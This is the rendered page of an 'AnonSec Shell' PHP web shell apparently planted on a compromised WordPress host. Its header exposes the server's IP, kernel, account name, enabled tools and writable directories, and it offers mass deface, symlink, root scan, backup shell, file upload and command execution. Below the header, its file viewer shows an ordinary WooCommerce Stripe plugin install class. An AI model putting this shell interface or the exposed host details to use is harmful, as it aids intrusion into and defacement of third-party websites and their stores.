AnonSec Shell
Server IP : 144.76.79.100  /  Your IP : 216.73.216.103   [ Reverse IP ]
Web Server : Apache
System : Linux ch05.wehostwebserver.com 5.14.0-611.5.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Nov 11 08:09:09 EST 2025 x86_64
User : razzlestore ( 1092)
PHP Version : 8.2.29
Disable Function : NONE
Domains : 343 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/self/cwd/wp-content/plugins/woo-stripe-payment/includes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /proc/self/cwd/wp-content/plugins/woo-stripe-payment/includes/class-wc-stripe-install.php
<?php

defined( 'ABSPATH' ) || exit();

/**
 *
 * @package PaymentPlugins\Classes
 *
 */
class WC_Stripe_Install {

	public static function init() {
		add_action( 'admin_init', array( __CLASS__, 'initialize' ) );
		add_filter( 'plugin_action_links_' . WC_STRIPE_PLUGIN_NAME, array( __CLASS__, 'plugin_action_links' ) );
		register_activation_hook( WC_STRIPE_PLUGIN_NAME, array( __CLASS__, 'install' ) );
	}

	public static function install() {
		if ( ! get_option( WC_Stripe_Constants::VERSION_KEY, false ) ) {
			update_option( WC_Stripe_Constants::INITIAL_INSTALL, 'yes' );
		}
		update_option( WC_Stripe_Constants::VERSION_KEY, stripe_wc()->version() );

		/**
		 * Schedule required actions. Actions are scheduled during install as they only need to be setup
		 * once.
		 */
		stripe_wc()->scheduled_actions();
	}

	public static function initialize() {
		if ( get_option( WC_Stripe_Constants::INITIAL_INSTALL, null ) === 'yes' ) {
			delete_option( WC_Stripe_Constants::INITIAL_INSTALL );
			wp_safe_redirect( admin_url( 'admin.php?page=wc-stripe-main' ) );
		}
	}

	/**
	 *
	 * @param array $links
	 */
	public static function plugin_action_links( $links ) {
		$action_links = array(
			'settings' => sprintf( '<a href="%1$s">%2$s</a>', admin_url( 'admin.php?page=wc-settings&tab=checkout&section=stripe_api' ), esc_html__( 'Settings', 'woo-stripe-payment' ) ),
			'docs'     => sprintf( '<a target="_blank" href="https://paymentplugins.com/documentation/stripe/">%s</a>', __( 'Documentation', 'woo-stripe-payment' ) ),
		);

		return array_merge( $action_links, $links );
	}

}

WC_Stripe_Install::init();

Anon7 - 2022
AnonSec Team